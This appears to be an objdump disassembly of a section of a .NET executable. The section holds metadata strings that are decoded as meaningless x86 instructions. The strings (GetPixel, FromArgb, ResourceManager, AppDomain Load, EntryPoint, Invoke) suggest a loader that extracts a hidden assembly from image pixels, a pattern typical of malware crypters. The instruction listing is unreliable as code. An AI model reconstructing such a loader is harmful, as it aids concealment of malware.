415e7c:	00 41 73             	add    %al,0x73(%ecx)
415e7f:	73 65                	jae    0x415ee6
415e81:	6d                   	insl   (%dx),%es:(%edi)
415e82:	62 6c 79 44          	bound  %ebp,0x44(%ecx,%edi,2)
415e86:	65 73 63             	gs jae 0x415eec
415e89:	72 69                	jb     0x415ef4
415e8b:	70 74                	jo     0x415f01
415e8d:	69 6f 6e 41 74 74 72 	imul   $0x72747441,0x6e(%edi),%ebp
415e94:	69 62 75 74 65 00 41 	imul   $0x41006574,0x75(%edx),%esp
415e9b:	73 73                	jae    0x415f10
415e9d:	65 6d                	gs insl (%dx),%es:(%edi)
415e9f:	62 6c 79 43          	bound  %ebp,0x43(%ecx,%edi,2)
415ea3:	6f                   	outsl  %ds:(%esi),(%dx)
415ea4:	6e                   	outsb  %ds:(%esi),(%dx)
415ea5:	66 69 67 75 72 61    	imul   $0x6172,0x75(%edi),%sp
415eab:	74 69                	je     0x415f16
415ead:	6f                   	outsl  %ds:(%esi),(%dx)
415eae:	6e                   	outsb  %ds:(%esi),(%dx)
415eaf:	41                   	inc    %ecx
415eb0:	74 74                	je     0x415f26
415eb2:	72 69                	jb     0x415f1d
415eb4:	62 75 74             	bound  %esi,0x74(%ebp)
415eb7:	65 00 41 73          	add    %al,%gs:0x73(%ecx)
415ebb:	73 65                	jae    0x415f22
415ebd:	6d                   	insl   (%dx),%es:(%edi)
415ebe:	62 6c 79 43          	bound  %ebp,0x43(%ecx,%edi,2)
415ec2:	6f                   	outsl  %ds:(%esi),(%dx)
415ec3:	6d                   	insl   (%dx),%es:(%edi)
415ec4:	70 61                	jo     0x415f27
415ec6:	6e                   	outsb  %ds:(%esi),(%dx)
415ec7:	79 41                	jns    0x415f0a
415ec9:	74 74                	je     0x415f3f
415ecb:	72 69                	jb     0x415f36
415ecd:	62 75 74             	bound  %esi,0x74(%ebp)
415ed0:	65 00 41 73          	add    %al,%gs:0x73(%ecx)
415ed4:	73 65                	jae    0x415f3b
415ed6:	6d                   	insl   (%dx),%es:(%edi)
415ed7:	62 6c 79 50          	bound  %ebp,0x50(%ecx,%edi,2)
415edb:	72 6f                	jb     0x415f4c
415edd:	64 75 63             	fs jne 0x415f43
415ee0:	74 41                	je     0x415f23
415ee2:	74 74                	je     0x415f58
415ee4:	72 69                	jb     0x415f4f
415ee6:	62 75 74             	bound  %esi,0x74(%ebp)
415ee9:	65 00 41 73          	add    %al,%gs:0x73(%ecx)
415eed:	73 65                	jae    0x415f54
415eef:	6d                   	insl   (%dx),%es:(%edi)
415ef0:	62 6c 79 43          	bound  %ebp,0x43(%ecx,%edi,2)
415ef4:	6f                   	outsl  %ds:(%esi),(%dx)
415ef5:	70 79                	jo     0x415f70
415ef7:	72 69                	jb     0x415f62
415ef9:	67 68 74 41 74 74    	addr16 push $0x74744174
415eff:	72 69                	jb     0x415f6a
415f01:	62 75 74             	bound  %esi,0x74(%ebp)
415f04:	65 00 41 73          	add    %al,%gs:0x73(%ecx)
415f08:	73 65                	jae    0x415f6f
415f0a:	6d                   	insl   (%dx),%es:(%edi)
415f0b:	62 6c 79 54          	bound  %ebp,0x54(%ecx,%edi,2)
415f0f:	72 61                	jb     0x415f72
415f11:	64 65 6d             	fs gs insl (%dx),%es:(%edi)
415f14:	61                   	popa
415f15:	72 6b                	jb     0x415f82
415f17:	41                   	inc    %ecx
415f18:	74 74                	je     0x415f8e
415f1a:	72 69                	jb     0x415f85
415f1c:	62 75 74             	bound  %esi,0x74(%ebp)
415f1f:	65 00 43 6f          	add    %al,%gs:0x6f(%ebx)
415f23:	6d                   	insl   (%dx),%es:(%edi)
415f24:	56                   	push   %esi
415f25:	69 73 69 62 6c 65 41 	imul   $0x41656c62,0x69(%ebx),%esi
415f2c:	74 74                	je     0x415fa2
415f2e:	72 69                	jb     0x415f99
415f30:	62 75 74             	bound  %esi,0x74(%ebp)
415f33:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
415f37:	73 74                	jae    0x415fad
415f39:	65 6d                	gs insl (%dx),%es:(%edi)
415f3b:	2e 52                	cs push %edx
415f3d:	75 6e                	jne    0x415fad
415f3f:	74 69                	je     0x415faa
415f41:	6d                   	insl   (%dx),%es:(%edi)
415f42:	65 2e 49             	gs cs dec %ecx
415f45:	6e                   	outsb  %ds:(%esi),(%dx)
415f46:	74 65                	je     0x415fad
415f48:	72 6f                	jb     0x415fb9
415f4a:	70 53                	jo     0x415f9f
415f4c:	65 72 76             	gs jb  0x415fc5
415f4f:	69 63 65 73 00 47 75 	imul   $0x75470073,0x65(%ebx),%esp
415f56:	69 64 41 74 74 72 69 	imul   $0x62697274,0x74(%ecx,%eax,2),%esp
415f5d:	62
415f5e:	75 74                	jne    0x415fd4
415f60:	65 00 41 73          	add    %al,%gs:0x73(%ecx)
415f64:	73 65                	jae    0x415fcb
415f66:	6d                   	insl   (%dx),%es:(%edi)
415f67:	62 6c 79 46          	bound  %ebp,0x46(%ecx,%edi,2)
415f6b:	69 6c 65 56 65 72 73 	imul   $0x69737265,0x56(%ebp,%eiz,2),%ebp
415f72:	69
415f73:	6f                   	outsl  %ds:(%esi),(%dx)
415f74:	6e                   	outsb  %ds:(%esi),(%dx)
415f75:	41                   	inc    %ecx
415f76:	74 74                	je     0x415fec
415f78:	72 69                	jb     0x415fe3
415f7a:	62 75 74             	bound  %esi,0x74(%ebp)
415f7d:	65 00 54 61 72       	add    %dl,%gs:0x72(%ecx,%eiz,2)
415f82:	67 65 74 46          	addr16 gs je 0x415fcc
415f86:	72 61                	jb     0x415fe9
415f88:	6d                   	insl   (%dx),%es:(%edi)
415f89:	65 77 6f             	gs ja  0x415ffb
415f8c:	72 6b                	jb     0x415ff9
415f8e:	41                   	inc    %ecx
415f8f:	74 74                	je     0x416005
415f91:	72 69                	jb     0x415ffc
415f93:	62 75 74             	bound  %esi,0x74(%ebp)
415f96:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
415f9a:	73 74                	jae    0x416010
415f9c:	65 6d                	gs insl (%dx),%es:(%edi)
415f9e:	2e 52                	cs push %edx
415fa0:	75 6e                	jne    0x416010
415fa2:	74 69                	je     0x41600d
415fa4:	6d                   	insl   (%dx),%es:(%edi)
415fa5:	65 2e 56             	gs cs push %esi
415fa8:	65 72 73             	gs jb  0x41601e
415fab:	69 6f 6e 69 6e 67 00 	imul   $0x676e69,0x6e(%edi),%ebp
415fb2:	42                   	inc    %edx
415fb3:	79 74                	jns    0x416029
415fb5:	65 00 41 72          	add    %al,%gs:0x72(%ecx)
415fb9:	72 61                	jb     0x41601c
415fbb:	79 00                	jns    0x415fbd
415fbd:	43                   	inc    %ebx
415fbe:	6f                   	outsl  %ds:(%esi),(%dx)
415fbf:	70 79                	jo     0x41603a
415fc1:	00 4c 69 73          	add    %cl,0x73(%ecx,%ebp,2)
415fc5:	74 60                	je     0x416027
415fc7:	31 00                	xor    %eax,(%eax)
415fc9:	53                   	push   %ebx
415fca:	79 73                	jns    0x41603f
415fcc:	74 65                	je     0x416033
415fce:	6d                   	insl   (%dx),%es:(%edi)
415fcf:	2e 43                	cs inc %ebx
415fd1:	6f                   	outsl  %ds:(%esi),(%dx)
415fd2:	6c                   	insb   (%dx),%es:(%edi)
415fd3:	6c                   	insb   (%dx),%es:(%edi)
415fd4:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
415fd9:	6e                   	outsb  %ds:(%esi),(%dx)
415fda:	73 2e                	jae    0x41600a
415fdc:	47                   	inc    %edi
415fdd:	65 6e                	outsb  %gs:(%esi),(%dx)
415fdf:	65 72 69             	gs jb  0x41604b
415fe2:	63 00                	arpl   %eax,(%eax)
415fe4:	49                   	dec    %ecx
415fe5:	6d                   	insl   (%dx),%es:(%edi)
415fe6:	61                   	popa
415fe7:	67 65 00 67 65       	add    %ah,%gs:0x65(%bx)
415fec:	74 5f                	je     0x41604d
415fee:	57                   	push   %edi
415fef:	69 64 74 68 00 67 65 	imul   $0x74656700,0x68(%esp,%esi,2),%esp
415ff6:	74
415ff7:	5f                   	pop    %edi
415ff8:	53                   	push   %ebx
415ff9:	69 7a 65 00 53 69 7a 	imul   $0x7a695300,0x65(%edx),%edi
416000:	65 00 67 65          	add    %ah,%gs:0x65(%edi)
416004:	74 5f                	je     0x416065
416006:	48                   	dec    %eax
416007:	65 69 67 68 74 00 47 	imul   $0x65470074,%gs:0x68(%edi),%esp
41600e:	65
41600f:	74 50                	je     0x416061
416011:	69 78 65 6c 00 43 6f 	imul   $0x6f43006c,0x65(%eax),%edi
416018:	6c                   	insb   (%dx),%es:(%edi)
416019:	6f                   	outsl  %ds:(%esi),(%dx)
41601a:	72 00                	jb     0x41601c
41601c:	46                   	inc    %esi
41601d:	72 6f                	jb     0x41608e
41601f:	6d                   	insl   (%dx),%es:(%edi)
416020:	41                   	inc    %ecx
416021:	72 67                	jb     0x41608a
416023:	62 00                	bound  %eax,(%eax)
416025:	6f                   	outsl  %ds:(%esi),(%dx)
416026:	70 5f                	jo     0x416087
416028:	49                   	dec    %ecx
416029:	6e                   	outsb  %ds:(%esi),(%dx)
41602a:	65 71 75             	gs jno 0x4160a2
41602d:	61                   	popa
41602e:	6c                   	insb   (%dx),%es:(%edi)
41602f:	69 74 79 00 67 65 74 	imul   $0x5f746567,0x0(%ecx,%edi,2),%esi
416036:	5f
416037:	52                   	push   %edx
416038:	00 67 65             	add    %ah,0x65(%edi)
41603b:	74 5f                	je     0x41609c
41603d:	47                   	inc    %edi
41603e:	00 67 65             	add    %ah,0x65(%edi)
416041:	74 5f                	je     0x4160a2
416043:	42                   	inc    %edx
416044:	00 41 64             	add    %al,0x64(%ecx)
416047:	64 52                	fs push %edx
416049:	61                   	popa
41604a:	6e                   	outsb  %ds:(%esi),(%dx)
41604b:	67 65 00 49 45       	add    %cl,%gs:0x45(%bx,%di)
416050:	6e                   	outsb  %ds:(%esi),(%dx)
416051:	75 6d                	jne    0x4160c0
416053:	65 72 61             	gs jb  0x4160b7
416056:	62 6c 65 60          	bound  %ebp,0x60(%ebp,%eiz,2)
41605a:	31 00                	xor    %eax,(%eax)
41605c:	54                   	push   %esp
41605d:	6f                   	outsl  %ds:(%esi),(%dx)
41605e:	41                   	inc    %ecx
41605f:	72 72                	jb     0x4160d3
416061:	61                   	popa
416062:	79 00                	jns    0x416064
416064:	53                   	push   %ebx
416065:	74 72                	je     0x4160d9
416067:	69 6e 67 00 43 6f 6e 	imul   $0x6e6f4300,0x67(%esi),%ebp
41606e:	63 61 74             	arpl   %esp,0x74(%ecx)
416071:	00 41 73             	add    %al,0x73(%ecx)
416074:	73 65                	jae    0x4160db
416076:	6d                   	insl   (%dx),%es:(%edi)
416077:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
41607b:	47                   	inc    %edi
41607c:	65 74 45             	gs je  0x4160c4
41607f:	6e                   	outsb  %ds:(%esi),(%dx)
416080:	74 72                	je     0x4160f4
416082:	79 41                	jns    0x4160c5
416084:	73 73                	jae    0x4160f9
416086:	65 6d                	gs insl (%dx),%es:(%edi)
416088:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
41608c:	52                   	push   %edx
41608d:	65 73 6f             	gs jae 0x4160ff
416090:	75 72                	jne    0x416104
416092:	63 65 4d             	arpl   %esp,0x4d(%ebp)
416095:	61                   	popa
416096:	6e                   	outsb  %ds:(%esi),(%dx)
416097:	61                   	popa
416098:	67 65 72 00          	addr16 gs jb 0x41609c
41609c:	53                   	push   %ebx
41609d:	79 73                	jns    0x416112
41609f:	74 65                	je     0x416106
4160a1:	6d                   	insl   (%dx),%es:(%edi)
4160a2:	2e 52                	cs push %edx
4160a4:	65 73 6f             	gs jae 0x416116
4160a7:	75 72                	jne    0x41611b
4160a9:	63 65 73             	arpl   %esp,0x73(%ebp)
4160ac:	00 47 65             	add    %al,0x65(%edi)
4160af:	74 4f                	je     0x416100
4160b1:	62 6a 65             	bound  %ebp,0x65(%edx)
4160b4:	63 74 00 54          	arpl   %esi,0x54(%eax,%eax,1)
4160b8:	68 72 65 61 64       	push   $0x64616572
4160bd:	00 53 79             	add    %dl,0x79(%ebx)
4160c0:	73 74                	jae    0x416136
4160c2:	65 6d                	gs insl (%dx),%es:(%edi)
4160c4:	2e 54                	cs push %esp
4160c6:	68 72 65 61 64       	push   $0x64616572
4160cb:	69 6e 67 00 47 65 74 	imul   $0x74654700,0x67(%esi),%ebp
4160d2:	44                   	inc    %esp
4160d3:	6f                   	outsl  %ds:(%esi),(%dx)
4160d4:	6d                   	insl   (%dx),%es:(%edi)
4160d5:	61                   	popa
4160d6:	69 6e 00 41 70 70 44 	imul   $0x44707041,0x0(%esi),%ebp
4160dd:	6f                   	outsl  %ds:(%esi),(%dx)
4160de:	6d                   	insl   (%dx),%es:(%edi)
4160df:	61                   	popa
4160e0:	69 6e 00 4c 6f 61 64 	imul   $0x64616f4c,0x0(%esi),%ebp
4160e7:	00 4d 69             	add    %cl,0x69(%ebp)
4160ea:	63 72 6f             	arpl   %esi,0x6f(%edx)
4160ed:	73 6f                	jae    0x41615e
4160ef:	66 74 2e             	data16 je 0x416120
4160f2:	56                   	push   %esi
4160f3:	69 73 75 61 6c 42 61 	imul   $0x61426c61,0x75(%ebx),%esi
4160fa:	73 69                	jae    0x416165
4160fc:	63 00                	arpl   %eax,(%eax)
4160fe:	49                   	dec    %ecx
4160ff:	6e                   	outsb  %ds:(%esi),(%dx)
416100:	74 65                	je     0x416167
416102:	72 61                	jb     0x416165
416104:	63 74 69 6f          	arpl   %esi,0x6f(%ecx,%ebp,2)
416108:	6e                   	outsb  %ds:(%esi),(%dx)
416109:	00 43 61             	add    %al,0x61(%ebx)
41610c:	6c                   	insb   (%dx),%es:(%edi)
41610d:	6c                   	insb   (%dx),%es:(%edi)
41610e:	42                   	inc    %edx
41610f:	79 4e                	jns    0x41615f
416111:	61                   	popa
416112:	6d                   	insl   (%dx),%es:(%edi)
416113:	65 00 43 61          	add    %al,%gs:0x61(%ebx)
416117:	6c                   	insb   (%dx),%es:(%edi)
416118:	6c                   	insb   (%dx),%es:(%edi)
416119:	54                   	push   %esp
41611a:	79 70                	jns    0x41618c
41611c:	65 00 49 6e          	add    %cl,%gs:0x6e(%ecx)
416120:	74 33                	je     0x416155
416122:	32 00                	xor    (%eax),%al
416124:	53                   	push   %ebx
416125:	6c                   	insb   (%dx),%es:(%edi)
416126:	65 65 70 00          	gs gs jo 0x41612a
41612a:	45                   	inc    %ebp
41612b:	6e                   	outsb  %ds:(%esi),(%dx)
41612c:	76 69                	jbe    0x416197
41612e:	72 6f                	jb     0x41619f
416130:	6e                   	outsb  %ds:(%esi),(%dx)
416131:	6d                   	insl   (%dx),%es:(%edi)
416132:	65 6e                	outsb  %gs:(%esi),(%dx)
416134:	74 00                	je     0x416136
416136:	45                   	inc    %ebp
416137:	78 69                	js     0x4161a2
416139:	74 00                	je     0x41613b
41613b:	00 2b                	add    %ch,(%ebx)
41613d:	2e 00 50 00          	add    %dl,%cs:0x0(%eax)
416141:	72 00                	jb     0x416143
416143:	6f                   	outsl  %ds:(%esi),(%dx)
416144:	00 70 00             	add    %dh,0x0(%eax)
416147:	65 00 72 00          	add    %dh,%gs:0x0(%edx)
41614b:	74 00                	je     0x41614d
41614d:	69 00 65 00 73 00    	imul   $0x730065,(%eax),%eax
416153:	2e 00 52 00          	add    %dl,%cs:0x0(%edx)
416157:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
41615b:	6f                   	outsl  %ds:(%esi),(%dx)
41615c:	00 75 00             	add    %dh,0x0(%ebp)
41615f:	72 00                	jb     0x416161
416161:	63 00                	arpl   %eax,(%eax)
416163:	65 00 73 00          	add    %dh,%gs:0x0(%ebx)
416167:	00 15 45 00 6e 00    	add    %dl,0x6e0045
41616d:	74 00                	je     0x41616f
41616f:	72 00                	jb     0x416171
416171:	79 00                	jns    0x416173
416173:	50                   	push   %eax
416174:	00 6f 00             	add    %ch,0x0(%edi)
416177:	69 00 6e 00 74 00    	imul   $0x74006e,(%eax),%eax
41617d:	00 0d 49 00 6e 00    	add    %cl,0x6e0049
416183:	76 00                	jbe    0x416185
416185:	6f                   	outsl  %ds:(%esi),(%dx)
416186:	00 6b 00             	add    %ch,0x0(%ebx)
416189:	65 00 00             	add    %al,%gs:(%eax)
41618c:	00 00                	add    %al,(%eax)
41618e:	00 14 e2             	add    %dl,(%edx,%eiz,8)
416191:	ea 99 cf 29 a0 41 bc 	ljmp   $0xbc41,$0xa029cf99
416198:	1f                   	pop    %ds
416199:	07                   	pop    %es
41619a:	97                   	xchg   %eax,%edi
41619b:	4d                   	dec    %ebp
41619c:	85 6d 41             	test   %ebp,0x41(%ebp)
41619f:	00 08                	add    %cl,(%eax)
4161a1:	b7 7a                	mov    $0x7a,%bh
4161a3:	5c                   	pop    %esp
4161a4:	56                   	push   %esi
4161a5:	19 34 e0             	sbb    %esi,(%eax,%eiz,8)
4161a8:	89 06                	mov    %eax,(%esi)
4161aa:	00 01                	add    %al,(%ecx)
4161ac:	1d 05 1d 05 08       	sbb    $0x8051d05,%eax
4161b1:	b0 3f                	mov    $0x3f,%al
4161b3:	5f                   	pop    %edi
4161b4:	7f 11                	jg     0x4161c7
4161b6:	d5 0a                	aad    $0xa
4161b8:	3a 06                	cmp    (%esi),%al